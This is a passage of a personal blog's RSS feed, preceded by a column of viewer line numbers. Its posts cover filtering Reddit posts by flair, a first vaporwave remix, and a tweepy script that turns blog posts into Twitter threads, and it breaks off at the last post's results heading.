5334
5335
5336
5337
5338
5339
5340
5341
5342
5343
5344
5345
5346
5347
5348
5349
5350
5351
5352
5353
5354
5355
5356
5357
5358
5359
5360
5361
5362
5363
5364
5365
5366
5367
5368
5369
5370
5371
5372
5373
5374
5375
5376
5377
5378
5379
5380
5381
5382
5383
5384
5385
5386
5387
5388
5389
5390
5391
5392
5393
5394
5395
5396
5397
5398
5399
5400
5401
5402
5403
5404
5405
5406
5407
5408
5409
5410
5411
5412
5413
5414
5415
5416
5417
5418
5419
5420
5421
5422
5423
5424
5425
5426
5427
5428
5429
5430
5431
5432
5433
5434
5435
5436
5437
5438
5439
5440
5441
5442
5443
5444
5445
5446
5447
5448
5449
5450
5451
5452
5453
5454
5455
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465
5466
5467
5468
5469
5470
5471
5472
5473
5474
5475
5476
5477
5478
5479
5480
5481
5482
5483
5484
5485
5486
5487
5488
5489
5490
5491
5492
5493
5494
5495
5496
5497
5498
5499
5500
5501
5502
5503
5504
5505
5506
5507
5508
5509
5510
5511
5512
5513
5514
5515
5516
5517
5518
5519
5520
5521
5522
5523
5524
5525
5526
5527
5528
5529
5530
5531
5532
5533
5534
5535
5536
5537
5538
5539
5540
5541
5542
5543
5544
5545
5546
5547
5548
5549
5550
5551
5552
5553
5554
5555
5556
5557
5558
5559
5560
5561
5562
5563
5564
5565
5566
5567
5568
5569
5570
5571
5572
5573
5574
5575
5576
5577
5578
5579
5580
5581
5582
5583
5584
5585
5586
5587
5588
5589
5590
5591
5592
5593
5594
5595
5596
5597
5598
5599
5600
5601
5602
5603
5604
5605
5606
5607
5608
5609
5610
5611
5612
5613
5614
5615
5616
5617
5618
5619
5620
5621
5622
5623
5624
5625
5626
5627
5628
5629
5630
5631
5632
5633
5634
5635
5636
5637
5638
5639
5640
5641
5642
5643
5644
5645
5646
5647
5648
5649
5650
5651
5652
5653
5654
5655
5656
5657
5658
5659
5660
5661
5662
5663
5664
5665
5666
5667
5668
5669
5670
5671
5672
5673
5674
5675
5676
5677
5678
5679
5680
5681
5682
5683
5684
5685
5686
5687
5688
5689
5690
5691
5692
5693
5694
5695
5696
5697
5698
5699
5700
5701
5702
5703
5704
5705
5706
5707
5708
5709
5710
5711
5712
5713
5714
5715
5716
5717
5718
5719
5720
5721
5722
5723
5724
5725
5726
5727
5728
5729
5730
5731
5732
5733
5734
5735
5736
5737
5738
5739
5740
5741
5742
5743
5744
5745
5746
5747
5748
5749
5750
5751
5752
5753
5754
5755
5756
5757
5758
5759
5760
5761
5762
5763
5764
5765
5766
5767
5768
5769
5770
5771
5772
5773
5774
5775
5776
5777
5778
5779
5780
5781
5782
5783
5784
5785
5786
5787
5788
5789
5790
5791
5792
5793
5794
5795
5796
5797
5798
5799
5800
5801
5802
5803
5804
5805
5806
5807
5808
5809
5810
5811
5812
5813
5814
5815
5816
5817
5818
5819
5820
5821
5822
5823
5824
5825
5826
5827
5828
5829
5830
5831
5832
5833
5834
5835
5836
5837
5838
5839
5840
5841
5842
5843
5844
5845
5846
5847
5848
5849
5850
5851
5852
5853
5854
5855
5856
5857
5858
5859
5860
5861
5862
5863
5864
5865
5866
5867
5868
5869
5870
5871
5872
5873
5874
5875
5876
5877
5878
5879
5880
5881
5882
5883
5884
5885
5886
5887
5888
5889
5890
5891
5892
5893
5894
5895
5896
5897
5898
5899
5900
5901
5902
5903
5904
5905
5906
5907
5908
5909
5910
5911
5912
5913
5914
5915
5916
5917
5918
5919
5920
5921
5922
5923
5924
5925
5926
5927
5928
5929
5930
5931
5932
5933
5934
5935
5936
5937
5938
5939
5940
5941
5942
5943
5944
5945
5946
5947
5948
5949
5950
5951
5952
5953
5954
5955
5956
5957
5958
5959
5960
5961
5962
5963
5964
5965
5966
5967
5968
5969
5970
5971
5972
5973
5974
5975
5976
5977
5978
5979
5980
5981
5982
5983
5984
5985
5986
5987
5988
5989
5990
5991
5992
5993
5994
5995
5996
5997
5998
5999
6000
6001
6002
6003
6004
6005
6006
6007
6008
6009
6010
6011
6012
6013
6014
6015
6016
6017
6018
6019
6020
6021
6022
6023
6024
6025
6026
6027
6028
6029
6030
6031
6032
6033
6034
6035
6036
6037
6038
6039
6040
6041
6042
6043
6044
6045
6046
6047
6048
6049
6050
6051
6052
6053
6054
6055
6056
6057
6058
6059
6060
6061
6062
6063
6064
6065
6066
6067
6068
6069
6070
6071
6072
6073
6074
6075
6076
6077
6078
6079
6080
6081
6082
6083
6084
6085
6086
6087
6088
6089
6090
6091
6092
6093
6094
6095
6096
6097
6098
6099
6100
6101
6102
6103
6104
6105
6106
6107
6108
6109
6110
6111
6112
6113
6114
6115
6116
6117
6118
6119
6120
6121
6122
6123
6124
6125
6126
6127
6128
6129
6130
6131
6132
6133
6134
6135
6136
6137
6138
6139
6140
6141
6142
6143
6144
6145
6146
6147
6148
6149
6150
6151
6152
6153
6154
6155
6156
6157
6158
6159
6160
6161
6162
6163
6164
6165
6166
6167
6168
6169
6170
6171
6172
6173
6174
6175
6176
6177
6178
6179
6180
6181
6182
6183
6184
6185
6186
6187
6188
6189
6190
6191
6192
6193
6194
6195
6196
6197
6198
6199
6200
6201
6202
6203
6204
6205
6206
6207
6208
6209
6210
6211
6212
6213
6214
6215
6216
6217
6218
6219
6220
6221
6222
6223
6224
6225
6226
6227
6228
6229
6230
6231
6232
6233
6234
6235
6236
6237
6238
6239
6240
6241
6242
6243
6244
6245
6246
6247
6248
6249
6250
6251
6252
6253
6254
6255
6256
6257
6258
6259
6260
6261
6262
6263
6264
6265
6266
6267
6268
6269
6270
6271
6272
6273
6274
6275
6276
6277
6278
6279
6280
6281
6282
6283
6284
6285
6286
6287
6288
6289
6290
6291
6292
6293
6294
6295
6296
6297
6298
6299
6300
6301
6302
6303
6304
6305
6306
6307
6308
6309
6310
6311
6312
6313
6314
6315
6316
6317
6318
6319
6320
6321
6322
6323
6324
6325
6326
6327
6328
6329
6330
6331
6332
6333
6334
6335
6336
6337
6338
6339
6340
6341
6342
6343
6344
6345
6346
6347
6348
6349
6350
6351
6352
6353
6354
6355
6356
6357
6358
6359
6360
6361
6362
6363
6364
6365
6366
6367
6368
6369
6370
6371
6372
6373
6374
6375
6376
6377
6378
6379
6380
6381
6382
6383
6384
6385
6386
6387
6388
6389
6390
6391
6392
6393
6394
6395
6396
6397
6398
6399
6400
6401
6402
6403
6404
6405
6406
6407
6408
6409
6410
6411
6412
6413
6414
6415
6416
6417
6418
6419
6420
6421
6422
6423
6424
6425
6426
6427
6428
6429
6430
6431
6432
6433
6434
6435
6436
6437
6438
6439
6440
6441
6442
6443
6444
6445
6446
6447
6448
6449
6450
6451
6452
6453
6454
6455
6456
6457
6458
6459
6460
6461
6462
6463
6464
6465
6466
6467
6468
6469
6470
6471
6472
6473
6474
6475
6476
6477
6478
6479
6480
6481
6482
6483
6484
6485
6486
6487
6488
6489
6490
6491
6492
6493
6494
6495
6496
6497
6498
6499
6500
6501
6502
6503
6504
6505
6506
6507
6508
6509
6510
6511
6512
6513
6514
6515
6516
6517
6518
6519
6520
6521
6522
6523
6524
6525
6526
6527
6528
6529
6530
6531
6532
6533
6534
6535
6536
6537
6538
6539
6540
6541
6542
6543
6544
6545
6546
6547
6548
6549
6550
6551
6552
6553
6554
6555
6556
6557
6558
6559
6560
6561
6562
6563
6564
6565
6566
6567
6568
6569
6570
6571
6572
6573
6574
6575
6576
6577
6578
6579
6580
6581
6582
6583
6584
6585
6586
6587
6588
6589
6590
6591
6592
6593
6594
6595
6596
6597
6598
6599
6600
6601
6602
6603
6604
6605
6606
6607
6608
6609
6610
6611
6612
6613
6614
6615
6616
6617
6618
6619
6620
6621
6622
6623
6624
6625
6626
6627
6628
6629
6630
6631
6632
6633
6634
6635
6636
6637
6638
6639
6640
6641
6642
6643
6644
6645
6646
6647
6648
6649
6650
6651
6652
6653
6654
6655
6656
6657
6658
6659
6660
6661
6662
6663
6664
6665
6666
6667
6668
6669
6670
6671
6672
6673
6674
6675
6676
6677
6678
6679
6680
6681
6682
6683
6684
6685
6686
6687
6688
6689
6690
6691
6692
6693
6694
6695
6696
6697
6698
6699
6700
6701
6702
6703
6704
6705
6706
6707
6708
6709
6710
6711
6712
6713
6714
6715
6716
6717
6718
6719
6720
6721
6722
6723
6724
6725
6726
6727
6728
6729
6730
6731
6732
6733
6734
6735
6736
6737
6738
6739
6740
6741
6742
6743
6744
6745
6746
6747
6748
6749
6750
6751
6752
6753
6754
6755
6756
6757
6758
6759
6760
6761
6762
6763
6764
6765
6766
6767
6768
6769
6770
6771
6772
6773
6774
6775
6776
6777
6778
6779
6780
6781
6782
6783
6784
6785
6786
6787
6788
6789
6790
6791
6792
6793
6794
6795
6796
6797
6798
6799
6800
6801
6802
6803
6804
6805
6806
6807
6808
6809
6810
6811
6812
6813
6814
6815
6816
6817
6818
6819
6820
6821
6822
6823
6824
6825
6826
6827
6828
6829
6830
6831
6832
6833
6834
6835
6836
6837
6838
6839
6840
6841
6842
6843
6844
6845
6846
6847
6848
6849
6850
6851
6852
6853
6854
6855
6856
6857
6858
6859
6860
6861
6862
6863
6864
6865
6866
6867
6868
6869
6870
6871
6872
6873
6874
6875
6876
6877
6878
6879
6880
6881
6882
6883
6884
6885
6886
6887
6888
6889
6890
6891
6892
6893
6894
6895
6896
6897
6898
6899
6900
6901
6902
6903
6904
6905
6906
6907
6908
6909
6910
6911
6912
6913
6914
6915
6916
6917
6918
6919
6920
6921
6922
6923
6924
6925
6926
6927
6928
6929
6930
6931
6932
6933
6934
6935
6936
6937
6938
6939
6940
6941
6942
6943
6944
6945
6946
6947
6948
6949
6950
6951
6952
6953
6954
6955
6956
6957
6958
6959
6960
6961
6962
6963
6964
6965
6966
6967
6968
6969
6970
6971
6972
6973
6974
6975
6976
6977
6978
6979
6980
6981
6982
6983
6984
6985
6986
6987
6988
6989
6990
6991
6992
6993
6994
6995
6996
6997
6998
6999
7000
7001
7002
7003
7004
7005
7006
7007
7008
7009
7010
7011
7012
7013
7014
7015
7016
7017
7018
7019
7020
7021
7022
7023
7024
7025
7026
7027
7028
7029
7030
7031
7032
7033
7034
7035
7036
7037
7038
7039
7040
7041
7042
7043
7044
7045
7046
7047
7048
7049
7050
7051
7052
7053
7054
7055
7056
7057
7058
7059
7060
7061
7062
7063
7064
7065
7066
7067
7068
7069
7070
7071
7072
7073
7074
7075
7076
7077
7078
7079
7080
7081
7082
7083
7084
7085
7086
7087
7088
7089
7090
7091
7092
7093
7094
7095
7096
7097
7098
7099
7100
7101
7102
7103
7104
7105
7106
7107
7108
7109
7110
7111
7112
7113
7114
7115
7116
7117
7118
7119
7120
7121
7122
7123
7124
7125
7126
7127
7128
7129
7130
7131
7132
7133
7134
7135
7136
7137
7138
7139
7140
7141
7142
7143
7144
7145
7146
7147
7148
7149
7150
7151
7152
7153
7154
7155
7156
7157
7158
7159
7160
7161
7162
7163
7164
7165
7166
7167
7168
7169
7170
7171
7172
7173
7174
7175
7176
7177
7178
7179
7180
7181
7182
7183
7184
7185
7186
7187
7188
7189
7190
7191
7192
7193
7194
7195
7196
7197
7198
7199
7200
7201
7202
7203
7204
7205
7206
7207
7208
7209
7210
7211
7212
7213
7214
7215
7216
7217
7218
7219
7220
7221
7222
7223
7224
7225
7226
7227
7228
7229
7230
7231
7232
7233
7234
7235
7236
7237
7238
7239
7240
7241
7242
7243
7244
7245
7246
7247
7248
7249
7250
7251
7252
7253
7254
7255
7256
7257
7258
7259
7260
7261
7262
7263
7264
7265
7266
7267
7268
7269
7270
7271
7272
7273
7274
7275
7276
7277
7278
7279
7280
7281
7282
7283
7284
7285
7286
7287
7288
7289
7290
7291
7292
7293
7294
7295
7296
7297
7298
7299
7300
7301
7302
7303
7304
7305
7306
7307
7308
7309
7310
7311
7312
7313
7314
7315
7316
7317
7318
7319
7320
7321
7322
7323
7324
7325
7326
7327
7328
7329
7330
7331
7332
7333
7334
7335
7336
7337
7338
7339
7340
7341
7342
7343
7344
7345
7346
7347
7348
7349
7350
7351
7352
7353
7354
7355
7356
7357
7358
7359
7360
7361
7362
7363
7364
7365
7366
7367
7368
7369
7370
7371
7372
7373
7374
7375
7376
7377
7378
7379
7380
7381
7382
7383
7384
7385
7386
7387
7388
7389
7390
7391
7392
7393
7394
7395
7396
7397
7398
7399
7400
7401
7402
7403
7404
7405
7406
7407
7408
7409
7410
7411
7412
7413
7414
7415
7416
7417
7418
7419
7420
7421
7422
7423
7424
7425
7426
7427
7428
7429
7430
7431
7432
7433
7434
7435
7436
7437
7438
7439
7440
7441
7442
7443
7444
7445
7446
7447
7448
7449
7450
7451
7452
7453
7454
7455
7456
7457
7458
7459
7460
7461
7462
7463
7464
7465
7466
7467
7468
7469
7470
7471
7472
7473
7474
7475
7476
7477
7478
7479
7480
7481
7482
7483
7484
7485
7486
7487
7488
7489
7490
7491
7492
7493
7494
7495
7496
7497
7498
7499
7500
7501
7502
7503
7504
7505
7506
7507
7508
7509
7510
7511
7512
7513
7514
7515
7516
7517
7518
7519
7520
7521
7522
7523
7524
7525
7526
7527
7528
7529
7530
7531
7532
7533
7534
7535
7536
7537
7538
7539
7540
7541
7542
7543
7544
7545
7546
7547
7548
7549
7550
7551
7552
7553
7554
7555
7556
7557
7558
7559
7560
7561
7562
7563
7564
7565
7566
7567
7568
7569
7570
7571
7572
7573
7574
7575
7576
7577
7578
7579
7580
7581
7582
7583
7584
7585
7586
7587
7588
7589
7590
7591
7592
7593
7594
7595
7596
7597
7598
7599
7600
7601
7602
7603
7604
7605
7606
7607
7608
7609
7610
7611
7612
7613
7614
7615
7616
7617
7618
7619
7620
7621
7622
7623
7624
7625
7626
7627
7628
7629
7630
7631
7632
7633
7634
7635
7636
7637
7638
7639
7640
7641
7642
7643
7644
7645
7646
7647
7648
7649
7650
7651
7652
7653
7654
7655
7656
7657
7658
7659
7660
7661
7662
7663
7664
7665
7666
7667
7668
7669
7670
7671
7672
7673
7674
7675
7676
7677
7678
7679
7680
7681
7682
7683
7684
7685
7686
7687
7688
7689
7690
7691
7692
7693
7694
7695
7696
7697
7698
7699
7700
7701
7702
7703
7704
7705
7706
7707
7708
7709
7710
7711
7712
7713
7714
7715
7716
7717
7718
7719
7720
7721
7722
7723
7724
7725
7726
7727
7728
7729
7730
7731
7732
7733
7734
7735
7736
7737
7738
7739
7740
7741
7742
7743
7744
7745
7746
7747
7748
7749
7750
7751
7752
7753
7754
7755
7756
7757
7758
7759
7760
7761
7762
7763
7764
7765
7766
7767
7768
7769
7770
7771
7772
7773
7774
7775
7776
7777
7778
7779
7780
7781
7782
7783
7784
7785
7786
7787
7788
7789
7790
7791
7792
7793
7794
7795
7796
7797
7798
7799
7800
7801
7802
7803
7804
7805
7806
7807
7808
7809
7810
7811
7812
7813
7814
7815
7816
7817
7818
7819
7820
7821
7822
7823
7824
7825
7826
7827
7828
7829
7830
7831
7832
7833
7834
7835
7836
7837
7838
7839
7840
7841
7842
7843
7844
7845
7846
7847
7848
7849
7850
7851
7852
7853
7854
7855
7856
7857
7858
7859
7860
7861
7862
7863
7864
7865
7866
7867
7868
7869
7870
7871
7872
7873
7874
7875
7876
7877
7878
7879
7880
7881
7882
7883
7884
7885
7886
7887
7888
7889
7890
7891
7892
7893
7894
7895
7896
7897
7898
7899
7900
7901
7902
7903
7904
7905
7906
7907
7908
7909
7910
7911
7912
7913
7914
7915
7916
7917
7918
7919
7920
7921
7922
7923
7924
7925
7926
7927
7928
7929
7930
7931
7932
7933
7934
7935
7936
7937
7938
7939
7940
7941
7942
7943
7944
7945
7946
7947
7948
7949
7950
7951
7952
7953
7954
7955
7956
7957
7958
7959
7960
7961
7962
7963
7964
7965
7966
7967
7968
7969
7970
7971
7972
7973
7974
7975
7976
7977
7978
7979
7980
7981
7982
7983
7984
7985
7986
7987
7988
7989
7990
7991
7992
7993
7994
7995
7996
7997
7998
7999
8000
8001
8002
8003
8004
8005
8006
8007
8008
8009
8010
8011
8012
8013
8014
8015
8016
8017
8018
8019
8020
8021
8022
8023
8024
8025
8026
8027
8028
8029
8030
8031
8032
8033
8034
8035
8036
8037
8038
8039
8040
8041
8042
8043
8044
8045
8046
8047
8048
8049
8050
8051
8052
8053
8054
8055
8056
8057
8058
8059
8060
8061
8062
8063
8064
8065
8066
8067
8068
8069
8070
8071
8072
8073
8074
8075
8076
8077
8078
8079
8080
8081
8082
8083
8084
8085
8086
8087
8088
8089
8090
8091
8092
8093
8094
8095
8096
8097
8098
8099
8100
8101
8102
8103
8104
8105
8106
8107
8108
8109
8110
8111
8112
8113
8114
8115
8116
8117
8118
8119
8120
8121
8122
8123
8124
8125
8126
8127
8128
8129
8130
8131
8132
8133
8134
8135
8136
8137
8138
8139
8140
8141
8142
8143
8144
8145
8146
8147
8148
8149
8150
8151
8152
8153
8154
8155
8156
8157
8158
8159
8160
8161
8162
8163
8164
8165
8166
8167
8168
8169
8170
8171
8172
8173
8174
8175
8176
8177
8178
8179
8180
8181
8182
8183
8184
8185
8186
8187
8188
8189
8190
8191
8192
8193
8194
8195
8196
8197
8198
8199
8200
8201
8202
8203
8204
8205
8206
8207
8208
8209
8210
8211
8212
8213
8214
8215
8216
8217
8218
8219
8220
8221
8222
8223
8224
8225
8226
8227
8228
8229
8230
8231
8232
8233
8234
8235
8236
8237
8238
8239
8240
8241
8242
8243
8244
8245
8246
8247
8248
8249
8250
8251
8252
8253
8254
8255
8256
8257
8258
8259
8260
8261
8262
8263
8264
8265
8266
8267
8268
8269
8270
8271
8272
8273
8274
8275
8276
8277
8278
8279
8280
8281
8282
8283
8284
8285
8286
8287
8288
8289
8290
8291
8292
8293
8294
8295
8296
8297
8298
8299
8300
8301
8302
8303
8304
8305
8306
8307
8308
8309
8310
8311
8312
8313
8314
8315
8316
8317
8318
8319
8320
8321
8322
8323
8324
8325
8326
8327
8328
8329
8330
8331
8332
8333
8334
8335
8336
8337
8338
8339
8340
8341
8342
8343
8344
8345
8346
8347
8348
8349
8350
8351
8352
8353
8354
8355
8356
8357
8358
8359
8360
8361
8362
8363
8364
8365
8366
8367
8368
8369
8370
8371
8372
8373
8374
8375
8376
8377
8378
8379
8380
8381
8382
8383
8384
8385
8386
8387
8388
8389
8390
8391
8392
8393
8394
8395
8396
8397
8398
8399
8400
8401
8402
8403
8404
8405
8406
8407
8408
8409
8410
8411
8412
8413
8414
8415
8416
8417
8418
8419
8420
8421
8422
8423
8424
8425
8426
8427
8428
8429
8430
8431
8432
|
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content">
<channel>
<title>Navan's Archive</title>
<description>Rare Tips, Tricks and Posts</description>
<link>https://web.navan.dev/</link><language>en</language>
<lastBuildDate>Wed, 27 Mar 2024 23:01:34 -0000</lastBuildDate>
<pubDate>Wed, 27 Mar 2024 23:01:34 -0000</pubDate>
<ttl>250</ttl>
<atom:link href="https://web.navan.dev/feed.rss" rel="self" type="application/rss+xml"/>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2023-10-22-search-by-flair-reddit.html
</guid>
<title>
Search / Filter posts by flair on Reddit
</title>
<description>
Search posts by flair on Reddit Web by using _
</description>
<link>https://web.navan.dev/posts/2023-10-22-search-by-flair-reddit.html</link>
<pubDate>Sun, 22 Oct 2023 00:37:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="search-filter-posts-by-flair-on-reddit">Search / Filter posts by flair on Reddit</h1>
<p>Remember to replace any spaces in the flair with <code>_</code></p>
<p>E.g. <code>flair:Snail_Mail</code> limited to r/penpals will only show posts that have the flair <code>Snail Mail</code>.</p>
<p><img src="/assets/posts/reddit-flair-search.png" alt="Screenshot of Old Reddit with search filter being used" /></p>
<p>I wish this was documented somewhere.</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2020-03-08-Making-Vaporwave-Track.html
</guid>
<title>
Making My First Vaporwave Track (Remix)
</title>
<description>
I made my first vaporwave remix
</description>
<link>https://web.navan.dev/posts/2020-03-08-Making-Vaporwave-Track.html</link>
<pubDate>Sun, 08 Mar 2020 23:17:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="making-my-first-vaporwave-track-remix">Making My First Vaporwave Track (Remix)</h1>
<p>I finally completed my first quick and dirty vaporwave remix of "I Want It That Way" by the Backstreet Boys</p>
<h1 id="v-a-p-o-r-w-a-v-e">V A P O R W A V E</h1>
<p>Vaporwave is all about A E S T H E T I C S. Vaporwave is a type of music genre that emerged as a parody of Chillwave, shared more as a meme rather than a proper musical genre. Of course this changed as the genre become mature</p>
<h1 id="how-to-vaporwave">How to Vaporwave</h1>
<p>The first track which is considered to be actual Vaporwave is Ramona Xavier's Macintosh Plus, this set the guidelines for making Vaporwave</p>
<ul>
<li>Take a 1980s RnB song</li>
<li>Slow it down</li>
<li>Add Bass and Treble </li>
<li>Add again</li>
<li>Add Reverb ( make sure its wet )</li>
</ul>
<p>There you have your very own Vaporwave track.</p>
<p>( Now, there are some tracks being produced which are not remixes and are original )</p>
<h1 id="my-remix">My Remix</h1>
<iframe width="300" height="202" src="https://www.bandlab.com/embed/?id=aa91e786-6361-ea11-a94c-0003ffd1cad8&blur=false" frameborder="0" allowfullscreen></iframe>
<h1 id="where-is-the-programming">Where is the Programming?</h1>
<p>The fact that there are steps on producing Vaporwave, this gave me the idea that Vaporwave can actually be made using programming, stay tuned for when I publish the program which I am working on ( Generating A E S T H E T I C artwork and remixes)</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/posts/2021-06-25-Blog2Twitter-P1.html
</guid>
<title>
Posting Blog Posts as Twitter Threads Part 1/n
</title>
<description>
Converting Posts to Twitter Threads
</description>
<link>https://web.navan.dev/posts/2021-06-25-Blog2Twitter-P1.html</link>
<pubDate>Fri, 25 Jun 2021 00:08:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="posting-blog-posts-as-twitter-threads-part-1n">Posting Blog Posts as Twitter Threads Part 1/n</h1>
<p>Why? Eh, no good reason, but should be fun.</p>
<h2 id="plan-of-action">Plan of Action</h2>
<p>I recently shifted my website to a static site generator I wrote specifically for myself.
Thus, it should be easy to just add a feature to check for new posts, split the text into chunks for Twitter threads and tweet them.
I am not handling lists or images right now.</p>
<h2 id="time-to-code">Time to Code</h2>
<p>First, the dependency: tweepy for tweeting.</p>
<p><code>pip install tweepy</code></p>
<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">tweepy</span>
<span class="n">consumer_key</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">"consumer_key"</span><span class="p">]</span>
<span class="n">consumer_secret</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">"consumer_secret"</span><span class="p">]</span>
<span class="n">access_token</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">"access_token"</span><span class="p">]</span>
<span class="n">access_token_secret</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">"access_token_secret"</span><span class="p">]</span>
<span class="n">auth</span> <span class="o">=</span> <span class="n">tweepy</span><span class="o">.</span><span class="n">OAuthHandler</span><span class="p">(</span><span class="n">consumer_key</span><span class="p">,</span> <span class="n">consumer_secret</span><span class="p">)</span>
<span class="n">auth</span><span class="o">.</span><span class="n">set_access_token</span><span class="p">(</span><span class="n">access_token</span><span class="p">,</span> <span class="n">access_token_secret</span><span class="p">)</span>
<span class="n">api</span> <span class="o">=</span> <span class="n">tweepy</span><span class="o">.</span><span class="n">API</span><span class="p">(</span><span class="n">auth</span><span class="p">)</span>
</code></pre>
</div>
<p>The program need to convert the blog post into text fragments.</p>
<p>It reads the markdown file, removes the top YAML content, checks for headers and splits the content.</p>
<div class="codehilite">
<pre><span></span><code><span class="n">tweets</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">first___n</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sample_markdown_file</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">():</span>
<span class="k">if</span> <span class="n">first___n</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">:</span>
<span class="k">if</span> <span class="n">line</span> <span class="o">==</span> <span class="s2">"---</span><span class="se">\n</span><span class="s2">"</span><span class="p">:</span>
<span class="n">first___n</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">continue</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">line</span> <span class="o">+=</span> <span class="s2">" "</span>
<span class="k">if</span> <span class="s2">"#"</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
<span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">"#"</span><span class="p">,</span><span class="s2">""</span><span class="p">)</span>
<span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">line</span> <span class="o">=</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span> <span class="o">+</span> <span class="n">line</span>
<span class="n">line</span> <span class="o">+=</span> <span class="s2">"</span><span class="se">\n\n</span><span class="s2">"</span>
<span class="k">try</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o"><</span> <span class="mi">260</span> <span class="ow">and</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">))</span> <span class="o"><=</span> <span class="mi">260</span><span class="p">:</span>
<span class="n">tweets</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">+=</span> <span class="n">line</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">tweets</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
<span class="k">except</span> <span class="ne">IndexError</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">></span> <span class="mi">260</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"ERROR"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">tweets</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</code></pre>
</div>
<p>Every status update using tweepy has an id attached to it, for the next tweet in the thread, it adds that ID while calling the function.</p>
<p>For every tweet fragment, it also appends 1/n.</p>
<div class="codehilite">
<pre><span></span><code><span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">tweet</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">tweets</span><span class="p">):</span>
<span class="n">tweet</span> <span class="o">+=</span> <span class="s2">" </span><span class="si">{}</span><span class="s2">/</span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">idx</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">))</span>
<span class="k">if</span> <span class="n">idx</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">a</span> <span class="o">=</span> <span class="kc">None</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">api</span><span class="o">.</span><span class="n">update_status</span><span class="p">(</span><span class="n">tweet</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">api</span><span class="o">.</span><span class="n">update_status</span><span class="p">(</span><span class="n">tweet</span><span class="p">,</span><span class="n">in_reply_to_status_id</span><span class="o">=</span><span class="n">a</span><span class="o">.</span><span class="n">id</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">tweet</span><span class="p">),</span><span class="n">end</span><span class="o">=</span><span class="s2">" "</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"</span><span class="si">{}</span><span class="s2">/</span><span class="si">{}</span><span class="se">\n</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">idx</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">)))</span>
</code></pre>
</div>
<p>Finally, it replies to the last tweet in the thread with the link of the post.</p>
<div class="codehilite">
<pre><span></span><code><span class="n">api</span><span class="o">.</span><span class="n">update_status</span><span class="p">(</span><span class="s2">"Web Version: </span><span class="si">{}</span><span class="s2">"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">post_link</span><span class="p">))</span>
</code></pre>
</div>
<h2 id="result">Result</h2>
